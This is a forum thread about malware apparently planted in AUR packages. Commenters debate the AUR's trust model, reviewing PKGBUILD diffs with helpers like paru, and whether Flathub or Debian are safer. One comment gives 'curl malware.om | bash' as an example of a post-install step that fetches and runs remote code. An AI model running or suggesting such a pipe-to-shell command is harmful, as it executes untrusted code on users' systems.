- cross-posted to:
- [email protected]
- cross-posted to:
- [email protected]
You must log in or # to comment.
Ah yes, review the PKGBUILD for every AUR update. Luckily I do this while I’m rereading the ToS every time those get changed for all my software as well.
When I finish that I intend to read the changelog in git for each of the commits since the last update.
Here’s a incomplete list:
https://gr.ht/aur_pkg_list.txt
I know some on Lemmy here use the RuneScape launcher.
Hilarious that it’s JavaScript again, truely npm, pypi and cargo are obvious targets. Also, guys, minimise your usage of the AUR! I don’t use any AUR packages.
Core > Extra > flathub >>>>>>>>>>>>> AUR
Not that core/extra/flathub can’t be pwned but it’s harder then the AUR.
I’m interested why flathub > AUR? I try to minimize AUR usage but always assumed it’s better than flathub?
Not the one you asked, but it’s a case of priorities:
- If you want it to just work, then the AUR is probably the better pick. Don’t get me wrong, through; most flatpaks should (mostly) work like how you’d expect them to behave natively.
- But, (Op)Sec-wise, the verified flatpaks win. No contest. Simply, because there’s no third party involved in the process. (And I haven’t even gone over flatpaks’ superior sandboxing.)
But mpv-git has some advantages… and edir, bat, rdo still not in the main repos.
Minimizing AUR usage doesn’t necessarily mean not using it at all, but I would weigh those advantages carefully against the risk it brings. I would also recommend the people who don’t know what they are doing to not use it at all.
God, even the Arch malware uses npm as a vector. And thus, my hatred of npm deepens even further
Tbf, it is run in package post install section so it could be anything even the typical “curl malware.om | bash”. There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM
I’m just a web guy whose tired of installing 10 xetabytes of 2 line libraries every time I wanna check out anything web related
What can be done to prevent this from happening to the AUR?
The way to prevent it is to get more stuff into the official repos so people aren’t forced to rely on AUR in the first place.
It depends. There are trusted well known packages and those can be trusted in my opinion. But I wouldn’t install any random package someone made.
And how would moving the packages into official repo solve anything? The reason it’s in the AUR is because the arch maintainers don’t have time to maintain packages.
in theory? getting rid of
paruand friends, manually reviewing the pkgbuild and the source of whatever it is installingrealistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware
the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what’s happening) and be able to review the installer/package or trust someone who can vouch for its safety
The AUR is kind of a trap. It can be useful but it has the warnings it has for a reason. Maintainers are not vetted so you depend on them both to be benevolent and competent and neither are reliable.
No one should really use it without taking the time to understand pkgbuild but you have people recommending AUR helpers like yay and tying AUR updates to regular system updates which is a terrible idea
paru always shows you the diff of the PKGBUILD on upgrade, so no need to worry about adding it to an alias that does both.
In fact, just running
paruis the same as runningpacman -Syu paru -SauAt the end I review the PKGBUILDs and make sure everything looks reasonable. Usually it’s just new source hashes, but not every time.
What do you mean by “tying AUR updates to system updates” ?
As in updating the AUR when you update your system packages, which come from known sources.
And just to be very explicit why this is an issue: each time the package is upgraded through an automated update, the PKGBUILD may change (e.g. to adapt to different dependencies, file structure, etc introduced with new app version).
That also means an AUR maintainer can smuggle in malware with any of those updates, even if you checked the original PKGBUiLD when you installed. And, anyone can request taking over maintenance for unmaintained packages, so it can even happen if the original maintainer was benevolent.
Always check PKGBUILD files on upgrade, even if just a glance. If I remember correctly yay had a function to always show you PKGBUILD diffs before updates, not sure if that was automatically enabled.
Paru shows you the diffs by default.
I just run
paruwhen I do system upgrades. Very convenient to have one command doing everything in a somewhat safe way.Of course, inspecting the PKGBUILDs still doesn’t protect us from having the actual software repositories compromised. Just because only the source hash changed doesn’t mean the software doesn’t have malware now.
That’s where I draw the line regarding trust. I don’t feel like going into to each release of each AUR package I have installed to check code to see if malware was injected. 😅
Installing a hook-package for checking as soon as it’s in the AUR.
Why is the atomic-lockfile thing not removed from npm?
Users can check if they’re already compromised withEDIT: No, sorry, alvr was just one of countless affected packages. Also, several is an understatement since a huge number of packages are affected.pacman -Q | grep alvrI think maybe?Post with more information here: https://lists.archlinux.org/archives/list/[email protected]/thread/FGXPCB3ZVCJIV7FX323SBAX2JHYB7ZS4/
Oh my, I’m new to Linux and I use CachyOS for my gaming rig at home. Most of the time I have no idea what I’m doing, but shit runs well and I’m happy about it. But how the hell do I check my noob ass if it’s compromised?!
alvr as in the vr streaming program for standalone headsets? that’s kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.
Sweats in “linux vr is one of my current hobby projects”
it’s going to be year of the linux vr soon anyway
I am so hyped for this actually
I panicked a bit when I saw the news earlier today as one of those niche guys. Then remembered I had removed it for WiVRn a few weeks ago and don’t have anything else off the AUR. Double niche win lol
I actually had the alvr bin aur installed on my old destop machine. Its just the only proper way for me on Quest to properly play any PCVR games. But i haven’t used nor updated that one in a while. My new arch machine luckily doesn’t have this installed but now im freaking out
EDIT: No, sorry, alvr was just one package, there is no specific source for the infection just one or many malicious users: https://gr.ht/aur_pkg_list.txt
Trying to escape surveillance capitalism while installing aur packages willy-nilly.
Are you one of the malicious actors? Thats some shit I’d expect to hear from the people doing this, trying to justify the attack by blaming the users for “capitalism”.
I am quite confused by your assumptions. I am just making a joke about people trying to avoid surveillance capitalism tools on one side and gleefully installing aur packages from random people on the other side, potentially making their surveillance exposure worse. I’m part of them some time because it’s too hard to verify everything everytime.
i can empathize with those infected but it’s important to note that the source of this issue is still installing random stuff from random people. the aur is not the same as arch repos, and users wanting to opt in need to take more precautions than usual
That’s probably simply a more skeptical take of my own newbie perspective: the automated update systems on Linux are feeling increasingly scary since their maintainers can get hacked… I’m on Mint and I wish that the Update Manager would show changelogs per update, at least (even if those, too, can be fabricated)…
This reminds me to remove the Fluxer AUR package I have
Why anyone is using Arch at this point is beyond me.
Every update is a potential failure waiting to happen. And on top of that, their user repos are infected with malware.
Yeah, I’m going to stick with Debian.
Installing from the AUR on arch is nearly the equivalent of an install from a PPA on Debian.
Of course the secondary opt-in user repo with unvetted package maintainers is infected with malware, it’d be a miracle if it weren’t! They warn as much in the docs. Use at your own risk, or package and maintain it yourself, because you’re likely not finding it packaged more reliably elsewhere.
And I love Debian, but if you think the Debian repos with 30,000+ packages and 1000+ community maintainers aren’t also infected with malware…
Being critical towards operating system: Great
Actual argument: fair
Solution: oof
Debian is by all means great, for many things, but for a main pc? Shivers
What makes this a fair argument? Debian not having an AUR analogue? It’s a shit response from someone who couldn’t even be bothered to look up any information on what the AUR is or how it’s supposed to be used. And what exactly is wrong with using debian on a “main pc”? If people want ancient packages with backported security patches they can knock themselves out. It doesn’t fit my requirements, but there’s nothing wrong with it either.
Its rather subjective but it wouldn’t be the first time updating arch has broken my system and its fair that some people don’t want to deal with that and much prefer some more mature.
And i have no qualms with people who do use debian for a main system but i do assume everyone who do are retired folk with a long career in computing behind them and aren’t in the market to change to another.
deleted by creator
The AUR is not the standard arch package repository and arch as a distro shouldn’t be judged by it’s merits or dangers. Yes, obviously a rolling release distro is not the best fit for most people, but that’s beside the point. Debian is completely fine for people who are looking to replace their windows machine with something stable and don’t need ton of exotic software or especially recent packages.
Who is having breaking update issues anymore in 2026? I’ve been running vanilla Arch for 10 years and the only times that has happened (there have been a handful I guess) the archwiki says “hey there’s a breaking change run these 2 commands” and it’s fixed. As a beginner on Linux I actually switched to Arch because every Ubuntu issue I googled was 6 to 10 lines to fix while arch was 1 to 3 lines. The only problem is that the OS expects that you be able to read, which is sometimes tough.
I can’t imagine being on a system that is multiple major releases behind on basic things like nvim and python. I guess if you’re content not to use anything remotely current it makes sense.
@webghost0101 @ZombieCyborgFromOuterSpace You are weird.
I wouldn’t want to be perceived in any other way.
